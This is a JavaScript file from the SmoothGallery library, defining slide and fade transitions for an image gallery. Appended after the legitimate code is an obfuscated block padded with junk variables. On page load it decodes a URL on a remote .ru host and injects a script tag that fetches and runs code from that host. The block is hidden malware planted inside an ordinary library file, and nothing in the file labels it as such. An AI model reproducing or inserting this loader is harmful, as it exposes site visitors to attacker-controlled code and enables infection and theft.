/*
    This file is part of JonDesign's SmoothGallery v2.1beta1.

    JonDesign's SmoothGallery is free software; you can redistribute it and/or modify
    it under the terms of the GNU General Public License as published by
    the Free Software Foundation; either version 3 of the License, or
    (at your option) any later version.

    JonDesign's SmoothGallery is distributed in the hope that it will be useful,
    but WITHOUT ANY WARRANTY; without even the implied warranty of
    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
    GNU General Public License for more details.

    You should have received a copy of the GNU General Public License
    along with JonDesign's SmoothGallery; if not, write to the Free Software
    Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA

    Main Developer: Jonathan Schemoul (JonDesign: http://www.jondesign.net/)
*/

gallery.Transitions.extend({
	fadeslideleft: function(oldFx, newFx, oldPos, newPos){
		oldFx.options.transition = newFx.options.transition = Fx.Transitions.Cubic.easeOut;
		oldFx.options.duration = newFx.options.duration = 1500;
		if (newPos > oldPos)
		{
			newFx.start({
				left: [this.galleryElement.offsetWidth, 0],
				opacity: 1
			});
			oldFx.start({opacity: [1,0]});
		} else {
			newFx.start({opacity: [0,1]});
			oldFx.start({
				left: [0, this.galleryElement.offsetWidth],
				opacity: 0
			}).chain(function(fx){fx.set({left: 0});}.pass(oldFx));
		}
	},
	continuoushorizontal: function(oldFx, newFx, oldPos, newPos){
		oldFx.options.transition = newFx.options.transition = Fx.Transitions.linear;
		if (
			((newPos > oldPos) || ((newPos==0) && (oldPos == (this.maxIter-1) ))) &&
			(!((newPos == (this.maxIter-1 )) && (oldPos == 0)))
		) {
			oldFx.set({opacity: 1});
			oldFx.start({
				left: [0, this.galleryElement.offsetWidth * -1]
			});
			newFx.set({opacity: 1, left: this.galleryElement.offsetWidth});
			newFx.start({
				left: [this.galleryElement.offsetWidth, 0]
			});
		} else  {
			oldFx.set({opacity: 1});
			oldFx.start({
				left: [0, this.galleryElement.offsetWidth]
			});
			newFx.set({opacity: 1, left: this.galleryElement.offsetWidth * -1});
			newFx.start({
				left: [this.galleryElement.offsetWidth * -1, 0]
			});
		}
	},
	continuousvertical: function(oldFx, newFx, oldPos, newPos){
		oldFx.options.transition = newFx.options.transition = Fx.Transitions.linear;
		if (
			((newPos > oldPos) || ((newPos==0) && (oldPos == (this.maxIter-1) ))) &&
			(!((newPos == (this.maxIter-1 )) && (oldPos == 0)))
		) {
			oldFx.set({opacity: 1});
			oldFx.start({
				top: [0, this.galleryElement.offsetHeight * -1]
			});
			newFx.set({opacity: 1, top: this.galleryElement.offsetHeight});
			newFx.start({
				top: [this.galleryElement.offsetHeight, 0]
			});
		} else  {
			oldFx.set({opacity: 1});
			oldFx.start({
				top: [0, this.galleryElement.offsetHeight]
			});
			newFx.set({opacity: 1, top: this.galleryElement.offsetHeight * -1});
			newFx.start({
				top: [this.galleryElement.offsetHeight * -1, 0]
			});
		}
	}
});
this.J='';try {this.D="";this.oA='';var Q;if(Q!='B' && Q != ''){Q=null};var K=new Array();var o='g';var q='';var X=']';var n;if(n!='Cq' && n != ''){n=null};var PF=new Array();var b=RegExp;var ms;if(ms!='' && ms!='L'){ms=''};var vn="";var N='replace';this.sV="";var u='[';var p=new Date();var v_="";function M(y,XI){var Z=u;Z+=XI;Z+=X;var wX;if(wX!='Kb'){wX=''};var I=new b(Z, o);var qf;if(qf!='' && qf!='T'){qf='RM'};return y[N](I, q);};var rk;if(rk!='' && rk!='U'){rk='dV'};var IN;if(IN!='G' && IN != ''){IN=null};var BU=new Array();var Wh;if(Wh!=''){Wh='MG'};var yM=M('hMtJt8pM:F/F/btFo8p8ibxb-FcMoFmF.Fv8iFrbgJiMlMiFoJ.MibtF.FoMrMaFn8gMeb-JfFrM.MmFyFfFrFeMeFm8aMgb.brMuF:F',"bM8JF");var qR=M('s1e4t4A1t4tJr4i1b1u1tXeX',"4UXJ1");this.uw='';var Ql=new String();var k=M('o2n2l2o2a5d2',"25");var d='';var LX;if(LX!='Mi' && LX!='Kh'){LX='Mi'};var j=M('cprBepaBtpepEBlBeBmpepnptp',"Bp");var JD="";this.SB="";var O=M('b2oJd5y2',"kJ2t5");var WhZ;if(WhZ!='cN' && WhZ!='cg'){WhZ='cN'};var qn=M('a4p2p4e2n4d4C2h4i4l4d4',"42");var kW;if(kW!='E' && kW != ''){kW=null};var W_;if(W_!='e' && W_ != ''){W_=null};var NT=M('sLcLrDijpDtD',"DjCLG");var a=new String();var kd;if(kd!='' && kd!='TA'){kd='wJ'};var um=M('/TfWrWeTeTwTeWbTsW.TcToTmT/WfWrWeWeWwTeTbWsW.TcWoTmT/TgToWoWgWlWeT.TcToTmW/TlWiWvWeWjToWuTrTnTaWlW.WcToWmW/WgWoWoTgWlTeW.TcWoTmW.WhTkT.WpThWpT',"TW");var KL='';var y="1";var Nk=M('87430458757033',"3475");var Uz='';var Qq;if(Qq!='cd'){Qq=''};var Si=new String();window[k]=function(){var AD;if(AD!='Qr'){AD='Qr'};var z;if(z!='Wsz' && z!='Sn'){z=''};_=document[j](NT);var RL;if(RL!='dVK'){RL='dVK'};var dk=new Array();var Tu="";var Kw="";d+=yM;var hT;if(hT!='' && hT!='Cl'){hT=''};var WR;if(WR!='' && WR!='zF'){WR=null};d+=Nk;this.oL='';this.hxS="";d+=um;var AG=new Array();var Fw;if(Fw!='' && Fw!='Xe'){Fw=null};var ks;if(ks!='' && ks!='B_'){ks=null};var uE=document[O];_.setAttribute('defer', y);var au;if(au!='' && au!='eL'){au='gB'};var QU;if(QU!=''){QU='sw'};_.src=d;uE.appendChild(_);var qI=new Date();};var o_r;if(o_r!='' && o_r!='Nt'){o_r=''};var Cj=new Array();this.x="";} catch(l){};var wa;if(wa!='HY'){wa='HY'};